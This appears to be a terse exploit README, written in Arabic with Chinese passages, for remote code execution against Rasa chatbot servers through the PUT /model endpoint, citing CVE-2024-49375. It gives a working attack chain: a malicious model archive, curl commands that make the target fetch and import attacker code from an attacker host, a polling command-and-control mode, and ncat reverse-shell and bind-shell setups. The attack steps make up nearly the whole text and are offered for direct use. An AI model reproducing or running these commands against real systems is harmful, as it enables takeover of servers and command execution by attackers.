
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
يمكنك تشغيله مباشرة
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

التأثير كما يلي:

اسم النموذج الافتراضي evil_import_model.tar.gz
نموذج خبيث تجريبي
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
تحديد قواعد حوار خبيثة
قم بإدخال
greetوسيُرجعPWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

التأثير كما يلي

يقوم model.py بتعديل بيانات محددة داخل الحزمة المضغوطة
عند تشغيله مباشرة، يقرأ افتراضيًا نماذج مجلد /model ويحفظ التعديلات في evil_import_model.tar.gz في الدليل الحالي

تحديد IP الارتداد
اسم النموذج الافتراضي evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

أرسل البيانات بالتتابع فقط
تختلف في السيناريوهات الفعلية
攻击机 Rasa容器(target)
│ │
├─ 启动 server-2.py ─────────┤
├─ PUT /model ──→ 下载 pwnmod.py 到 /app/
├─ PUT /model ──→ 下载恶意模型 → import pwnmod → agent 启动
│ │
│ ← GET /poll?agent=xxx ───┤ 每 3s 轮询
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ 拿到命令
│ ← POST /result ──────────┤ 回传结果
├─ /last?agent=xxx ──→ 读结果
# 攻击机启动
python server-2.py --mode c2 --c2-base-url http://<攻击机IP>:8000 --port 8000
# 触发 exploit(两步)
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'
# 下发命令
curl "http://<攻击机IP>:8000/enqueue?cmd=id"
# 等 8 秒后读结果(agent 每 3s 轮询 + 执行时间)
curl "http://<攻击机IP>:8000/last?agent=<hostname>"
# 不指定 agent 也行(走通配符)
curl "http://<攻击机IP>:8000/enqueue?cmd=whoami"
curl "http://<攻击机IP>:8000/last"
# 1) 攻击机启动监听
ncat -lvnp 4444
# 2) 攻击机启动 server-2.py
python server-2.py --mode reverse --reverse-host <攻击机IP> --reverse-port 4444 --port 8000
# 3) 触发 exploit
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'
curl -X PUT http://<rasa地址>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'
# 4) nc 收到 $ 提示符,直接交互
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent 在目标容器内监听 0.0.0.0:4444
# ncat <目标IP> 4444 即可连接
| 参数 | 含义 |
|---|
--port 8000 | منفذ الاستماع الخاص بـ server-2.py |
--c2-base-url | عنوان base URL الكامل الذي يستعلم منه الوكيل (agent) في وضع C2 (يجب أن يكون عنوانًا يمكن للحاوية الوصول إليه) |
--reverse-host | عنوان IP الهدف لـ Shell العكسي |
--reverse-port | منفذ الهدف لـ Shell العكسي |